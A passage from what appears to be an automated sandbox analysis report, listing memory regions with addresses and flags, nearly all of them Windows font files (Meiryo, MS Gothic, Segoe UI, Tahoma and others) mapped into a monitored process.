0x1b500000 end_va = 0x1be17fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 536 start_va = 0x1b500000 end_va = 0x1be4cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 537 start_va = 0x1b500000 end_va = 0x1be4cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 538 start_va = 0x1b500000 end_va = 0x1be4cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 539 start_va = 0x1b500000 end_va = 0x1be4cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 540 start_va = 0x1ca90000 end_va = 0x1d28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ca90000" filename = "" Region: id = 541 start_va = 0x1b500000 end_va = 0x1be4cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 542 start_va = 0x2190000 end_va = 0x2224fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "himalaya.ttf" filename = "\\Windows\\Fonts\\himalaya.ttf" (normalized: "c:\\windows\\fonts\\himalaya.ttf") Region: id = 543 start_va = 0x2190000 end_va = 0x2224fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "himalaya.ttf" filename = "\\Windows\\Fonts\\himalaya.ttf" (normalized: "c:\\windows\\fonts\\himalaya.ttf") Region: id = 544 start_va = 0x1d290000 end_va = 0x1e738fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 545 start_va = 0x1d290000 end_va = 0x1e738fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 546 start_va = 0x1b500000 end_va = 0x1c2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttf" filename = "\\Windows\\Fonts\\msjhbd.ttf" (normalized: "c:\\windows\\fonts\\msjhbd.ttf") Region: id = 547 start_va = 0x1b500000 end_va = 0x1c2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttf" filename = "\\Windows\\Fonts\\msjhbd.ttf" (normalized: "c:\\windows\\fonts\\msjhbd.ttf") Region: id = 548 start_va = 0x1d290000 end_va = 0x1e752fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 549 start_va = 0x1d290000 end_va = 0x1e752fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 550 start_va = 0x1b500000 end_va = 0x1c2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttf" filename = "\\Windows\\Fonts\\msyhbd.ttf" (normalized: "c:\\windows\\fonts\\msyhbd.ttf") Region: id = 551 start_va = 0x1b500000 end_va = 0x1c2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttf" filename = "\\Windows\\Fonts\\msyhbd.ttf" (normalized: "c:\\windows\\fonts\\msyhbd.ttf") Region: id = 552 start_va = 0x1d290000 end_va = 0x1f149fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 553 start_va = 0x1d290000 end_va = 0x1f149fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 554 start_va = 0x1d290000 end_va = 0x1f149fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 555 start_va = 0x1d290000 end_va = 0x1f149fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 556 start_va = 0x1d290000 end_va = 0x1f2cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 557 start_va = 0x1d290000 end_va = 0x1f2cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 558 start_va = 0x1d290000 end_va = 0x1f2cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 559 start_va = 0x1d290000 end_va = 0x1f2cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 560 start_va = 0x2190000 end_va = 0x21e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monbaiti.ttf" filename = "\\Windows\\Fonts\\monbaiti.ttf" (normalized: "c:\\windows\\fonts\\monbaiti.ttf") Region: id = 561 start_va = 0x2190000 end_va = 0x21e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monbaiti.ttf" filename = "\\Windows\\Fonts\\monbaiti.ttf" (normalized: "c:\\windows\\fonts\\monbaiti.ttf") Region: id = 562 start_va = 0x1b500000 end_va = 0x1bdc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 563 start_va = 0x1b500000 end_va = 0x1bdc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 564 start_va = 0x1b500000 end_va = 0x1bdc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 565 start_va = 0x1b500000 end_va = 0x1bdc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 566 start_va = 0x1b500000 end_va = 0x1be97fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 567 start_va = 0x1b500000 end_va = 0x1be97fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 568 start_va = 0x1b500000 end_va = 0x1be97fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 569 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mvboli.ttf" filename = "\\Windows\\Fonts\\mvboli.ttf" (normalized: "c:\\windows\\fonts\\mvboli.ttf") Region: id = 570 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mvboli.ttf" filename = "\\Windows\\Fonts\\mvboli.ttf" (normalized: "c:\\windows\\fonts\\mvboli.ttf") Region: id = 571 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailu.ttf" filename = "\\Windows\\Fonts\\ntailu.ttf" (normalized: "c:\\windows\\fonts\\ntailu.ttf") Region: id = 572 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailu.ttf" filename = "\\Windows\\Fonts\\ntailu.ttf" (normalized: "c:\\windows\\fonts\\ntailu.ttf") Region: id = 573 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailub.ttf" filename = "\\Windows\\Fonts\\ntailub.ttf" (normalized: "c:\\windows\\fonts\\ntailub.ttf") Region: id = 574 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailub.ttf" filename = "\\Windows\\Fonts\\ntailub.ttf" (normalized: "c:\\windows\\fonts\\ntailub.ttf") Region: id = 575 start_va = 0x2190000 end_va = 0x21fafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nyala.ttf" filename = "\\Windows\\Fonts\\nyala.ttf" (normalized: "c:\\windows\\fonts\\nyala.ttf") Region: id = 576 start_va = 0x2190000 end_va = 0x21fafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nyala.ttf" filename = "\\Windows\\Fonts\\nyala.ttf" (normalized: "c:\\windows\\fonts\\nyala.ttf") Region: id = 577 start_va = 0x5b0000 end_va = 0x5d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspa.ttf" filename = "\\Windows\\Fonts\\phagspa.ttf" (normalized: "c:\\windows\\fonts\\phagspa.ttf") Region: id = 578 start_va = 0x5b0000 end_va = 0x5d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspa.ttf" filename = "\\Windows\\Fonts\\phagspa.ttf" (normalized: "c:\\windows\\fonts\\phagspa.ttf") Region: id = 579 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspab.ttf" filename = "\\Windows\\Fonts\\phagspab.ttf" (normalized: "c:\\windows\\fonts\\phagspab.ttf") Region: id = 580 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspab.ttf" filename = "\\Windows\\Fonts\\phagspab.ttf" (normalized: "c:\\windows\\fonts\\phagspab.ttf") Region: id = 581 start_va = 0x470000 end_va = 0x48dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "plantc.ttf" filename = "\\Windows\\Fonts\\plantc.ttf" (normalized: "c:\\windows\\fonts\\plantc.ttf") Region: id = 582 start_va = 0x470000 end_va = 0x48dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "plantc.ttf" filename = "\\Windows\\Fonts\\plantc.ttf" (normalized: "c:\\windows\\fonts\\plantc.ttf") Region: id = 583 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavi.ttf" filename = "\\Windows\\Fonts\\raavi.ttf" (normalized: "c:\\windows\\fonts\\raavi.ttf") Region: id = 584 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavi.ttf" filename = "\\Windows\\Fonts\\raavi.ttf" (normalized: "c:\\windows\\fonts\\raavi.ttf") Region: id = 585 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavib.ttf" filename = "\\Windows\\Fonts\\raavib.ttf" (normalized: "c:\\windows\\fonts\\raavib.ttf") Region: id = 586 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavib.ttf" filename = "\\Windows\\Fonts\\raavib.ttf" (normalized: "c:\\windows\\fonts\\raavib.ttf") Region: id = 587 start_va = 0x2190000 end_va = 0x2227fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoesc.ttf" filename = "\\Windows\\Fonts\\segoesc.ttf" (normalized: "c:\\windows\\fonts\\segoesc.ttf") Region: id = 588 start_va = 0x2190000 end_va = 0x2227fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoesc.ttf" filename = "\\Windows\\Fonts\\segoesc.ttf" (normalized: "c:\\windows\\fonts\\segoesc.ttf") Region: id = 589 start_va = 0x2190000 end_va = 0x2223fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoescb.ttf" filename = "\\Windows\\Fonts\\segoescb.ttf" (normalized: "c:\\windows\\fonts\\segoescb.ttf") Region: id = 590 start_va = 0x2190000 end_va = 0x2223fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoescb.ttf" filename = "\\Windows\\Fonts\\segoescb.ttf" (normalized: "c:\\windows\\fonts\\segoescb.ttf") Region: id = 591 start_va = 0x2190000 end_va = 0x220efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 592 start_va = 0x2190000 end_va = 0x220efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 593 start_va = 0x2190000 end_va = 0x2209fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuib.ttf" filename = "\\Windows\\Fonts\\segoeuib.ttf" (normalized: "c:\\windows\\fonts\\segoeuib.ttf") Region: id = 594 start_va = 0x2190000 end_va = 0x2209fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuib.ttf" filename = "\\Windows\\Fonts\\segoeuib.ttf" (normalized: "c:\\windows\\fonts\\segoeuib.ttf") Region: id = 595 start_va = 0x2190000 end_va = 0x21eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuii.ttf" filename = "\\Windows\\Fonts\\segoeuii.ttf" (normalized: "c:\\windows\\fonts\\segoeuii.ttf") Region: id = 596 start_va = 0x2190000 end_va = 0x21eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuii.ttf" filename = "\\Windows\\Fonts\\segoeuii.ttf" (normalized: "c:\\windows\\fonts\\segoeuii.ttf") Region: id = 597 start_va = 0x2190000 end_va = 0x21f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuiz.ttf" filename = "\\Windows\\Fonts\\segoeuiz.ttf" (normalized: "c:\\windows\\fonts\\segoeuiz.ttf") Region: id = 598 start_va = 0x2190000 end_va = 0x21f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuiz.ttf" filename = "\\Windows\\Fonts\\segoeuiz.ttf" (normalized: "c:\\windows\\fonts\\segoeuiz.ttf") Region: id = 599 start_va = 0x2190000 end_va = 0x21f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisb.ttf" filename = "\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf") Region: id = 600 start_va = 0x2190000 end_va = 0x21f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisb.ttf" filename = "\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf") Region: id = 601 start_va = 0x2190000 end_va = 0x21e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuil.ttf" filename = "\\Windows\\Fonts\\segoeuil.ttf" (normalized: "c:\\windows\\fonts\\segoeuil.ttf") Region: id = 602 start_va = 0x2190000 end_va = 0x21e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuil.ttf" filename = "\\Windows\\Fonts\\segoeuil.ttf" (normalized: "c:\\windows\\fonts\\segoeuil.ttf") Region: id = 603 start_va = 0x2190000 end_va = 0x220efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisym.ttf" filename = "\\Windows\\Fonts\\seguisym.ttf" (normalized: "c:\\windows\\fonts\\seguisym.ttf") Region: id = 604 start_va = 0x2190000 end_va = 0x220efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisym.ttf" filename = "\\Windows\\Fonts\\seguisym.ttf" (normalized: "c:\\windows\\fonts\\seguisym.ttf") Region: id = 605 start_va = 0x2190000 end_va = 0x21d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shruti.ttf" filename = "\\Windows\\Fonts\\shruti.ttf" (normalized: "c:\\windows\\fonts\\shruti.ttf") Region: id = 606 start_va = 0x2190000 end_va = 0x21d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shruti.ttf" filename = "\\Windows\\Fonts\\shruti.ttf" (normalized: "c:\\windows\\fonts\\shruti.ttf") Region: id = 607 start_va = 0x2190000 end_va = 0x21c9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shrutib.ttf" filename = "\\Windows\\Fonts\\shrutib.ttf" (normalized: "c:\\windows\\fonts\\shrutib.ttf") Region: id = 608 start_va = 0x2190000 end_va = 0x21c9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shrutib.ttf" filename = "\\Windows\\Fonts\\shrutib.ttf" (normalized: "c:\\windows\\fonts\\shrutib.ttf") Region: id = 609 start_va = 0x1b500000 end_va = 0x1c39dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 610 start_va = 0x1b500000 end_va = 0x1c39dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 611 start_va = 0x1b500000 end_va = 0x1c39dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 612 start_va = 0x1b500000 end_va = 0x1c3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsunb.ttf" filename = "\\Windows\\Fonts\\simsunb.ttf" (normalized: "c:\\windows\\fonts\\simsunb.ttf") Region: id = 613 start_va = 0x1b500000 end_va = 0x1c3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsunb.ttf" filename = "\\Windows\\Fonts\\simsunb.ttf" (normalized: "c:\\windows\\fonts\\simsunb.ttf") Region: id = 614 start_va = 0x2190000 end_va = 0x21c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sylfaen.ttf" filename = "\\Windows\\Fonts\\sylfaen.ttf" (normalized: "c:\\windows\\fonts\\sylfaen.ttf") Region: id = 615 start_va = 0x2190000 end_va = 0x21c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sylfaen.ttf" filename = "\\Windows\\Fonts\\sylfaen.ttf" (normalized: "c:\\windows\\fonts\\sylfaen.ttf") Region: id = 616 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taile.ttf" filename = "\\Windows\\Fonts\\taile.ttf" (normalized: "c:\\windows\\fonts\\taile.ttf") Region: id = 617 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taile.ttf" filename = "\\Windows\\Fonts\\taile.ttf" (normalized: "c:\\windows\\fonts\\taile.ttf") Region: id = 618 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taileb.ttf" filename = "\\Windows\\Fonts\\taileb.ttf" (normalized: "c:\\windows\\fonts\\taileb.ttf") Region: id = 619 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taileb.ttf" filename = "\\Windows\\Fonts\\taileb.ttf" (normalized: "c:\\windows\\fonts\\taileb.ttf") Region: id = 620 start_va = 0x1b0f0000 end_va = 0x1b1bbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 621 start_va = 0x1b0f0000 end_va = 0x1b1bbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 622 start_va = 0x2190000 end_va = 0x2231fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesi.ttf" filename = "\\Windows\\Fonts\\timesi.ttf" (normalized: "c:\\windows\\fonts\\timesi.ttf") Region: id = 623 start_va = 0x2190000 end_va = 0x2231fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesi.ttf" filename = "\\Windows\\Fonts\\timesi.ttf" (normalized: "c:\\windows\\fonts\\timesi.ttf") Region: id = 624 start_va = 0x1b0f0000 end_va = 0x1b1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbd.ttf" filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf") Region: id = 625 start_va = 0x1b0f0000 end_va = 0x1b1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbd.ttf" filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf") Region: id = 626 start_va = 0x2190000 end_va = 0x2227fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbi.ttf" filename = "\\Windows\\Fonts\\timesbi.ttf" (normalized: "c:\\windows\\fonts\\timesbi.ttf") Region: id = 627 start_va = 0x2190000 end_va = 0x2227fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbi.ttf" filename = "\\Windows\\Fonts\\timesbi.ttf" (normalized: "c:\\windows\\fonts\\timesbi.ttf") Region: id = 628 start_va = 0x5b0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tunga.ttf" filename = "\\Windows\\Fonts\\tunga.ttf" (normalized: "c:\\windows\\fonts\\tunga.ttf") Region: id = 629 start_va = 0x5b0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tunga.ttf" filename = "\\Windows\\Fonts\\tunga.ttf" (normalized: "c:\\windows\\fonts\\tunga.ttf") Region: id = 630 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tungab.ttf" filename = "\\Windows\\Fonts\\tungab.ttf" (normalized: "c:\\windows\\fonts\\tungab.ttf") Region: id = 631 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tungab.ttf" filename = "\\Windows\\Fonts\\tungab.ttf" (normalized: "c:\\windows\\fonts\\tungab.ttf") Region: id = 632 start_va = 0x2190000 end_va = 0x21cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrinda.ttf" filename = "\\Windows\\Fonts\\vrinda.ttf" (normalized: "c:\\windows\\fonts\\vrinda.ttf") Region: id = 633 start_va = 0x2190000 end_va = 0x21cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrinda.ttf" filename = "\\Windows\\Fonts\\vrinda.ttf" (normalized: "c:\\windows\\fonts\\vrinda.ttf") Region: id = 634 start_va = 0x2190000 end_va = 0x21cefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrindab.ttf" filename = "\\Windows\\Fonts\\vrindab.ttf" (normalized: "c:\\windows\\fonts\\vrindab.ttf") Region: id = 635 start_va = 0x2190000 end_va = 0x21cefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrindab.ttf" filename = "\\Windows\\Fonts\\vrindab.ttf" (normalized: "c:\\windows\\fonts\\vrindab.ttf") Region: id = 636 start_va = 0x2190000 end_va = 0x21e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonar.ttf" filename = "\\Windows\\Fonts\\Shonar.ttf" (normalized: "c:\\windows\\fonts\\shonar.ttf") Region: id = 637 start_va = 0x2190000 end_va = 0x21e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonar.ttf" filename = "\\Windows\\Fonts\\Shonar.ttf" (normalized: "c:\\windows\\fonts\\shonar.ttf") Region: id = 638 start_va = 0x2190000 end_va = 0x21d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonarb.ttf" filename = "\\Windows\\Fonts\\Shonarb.ttf" (normalized: "c:\\windows\\fonts\\shonarb.ttf") Region: id = 639 start_va = 0x2190000 end_va = 0x21d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonarb.ttf" filename = "\\Windows\\Fonts\\Shonarb.ttf" (normalized: "c:\\windows\\fonts\\shonarb.ttf") Region: id = 640 start_va = 0x2190000 end_va = 0x21e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyi.ttf" filename = "\\Windows\\Fonts\\msyi.ttf" (normalized: "c:\\windows\\fonts\\msyi.ttf") Region: id = 641 start_va = 0x2190000 end_va = 0x21e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyi.ttf" filename = "\\Windows\\Fonts\\msyi.ttf" (normalized: "c:\\windows\\fonts\\msyi.ttf") Region: id = 642 start_va = 0x2190000 end_va = 0x223afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 643 start_va = 0x2190000 end_va = 0x223afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 644 start_va = 0x2190000 end_va = 0x222efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahomabd.ttf" filename = "\\Windows\\Fonts\\tahomabd.ttf" (normalized: "c:\\windows\\fonts\\tahomabd.ttf") Region: id = 645 start_va = 0x2190000 end_va = 0x222efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahomabd.ttf" filename = "\\Windows\\Fonts\\tahomabd.ttf" (normalized: "c:\\windows\\fonts\\tahomabd.ttf") Region: id = 646 start_va = 0x2190000 end_va = 0x222ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 647 start_va = 0x2190000 end_va = 0x222ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 648 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsa.ttf" filename = "\\Windows\\Fonts\\angsa.ttf" (normalized: "c:\\windows\\fonts\\angsa.ttf") Region: id = 649 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsa.ttf" filename = "\\Windows\\Fonts\\angsa.ttf" (normalized: "c:\\windows\\fonts\\angsa.ttf") Region: id = 650 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsai.ttf" filename = "\\Windows\\Fonts\\angsai.ttf" (normalized: "c:\\windows\\fonts\\angsai.ttf") Region: id = 651 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsai.ttf" filename = "\\Windows\\Fonts\\angsai.ttf" (normalized: "c:\\windows\\fonts\\angsai.ttf") Region: id = 652 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsab.ttf" filename = "\\Windows\\Fonts\\angsab.ttf" (normalized: "c:\\windows\\fonts\\angsab.ttf") Region: id = 653 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsab.ttf" filename = "\\Windows\\Fonts\\angsab.ttf" (normalized: "c:\\windows\\fonts\\angsab.ttf") Region: id = 654 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaz.ttf" filename = "\\Windows\\Fonts\\angsaz.ttf" (normalized: "c:\\windows\\fonts\\angsaz.ttf") Region: id = 655 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaz.ttf" filename = "\\Windows\\Fonts\\angsaz.ttf" (normalized: "c:\\windows\\fonts\\angsaz.ttf") Region: id = 656 start_va = 0x2190000 end_va = 0x21c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaj.ttf" filename = "\\Windows\\Fonts\\aparaj.ttf" (normalized: "c:\\windows\\fonts\\aparaj.ttf") Region: id = 657 start_va = 0x2190000 end_va = 0x21c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaj.ttf" filename = "\\Windows\\Fonts\\aparaj.ttf" (normalized: "c:\\windows\\fonts\\aparaj.ttf") Region: id = 658 start_va = 0x2190000 end_va = 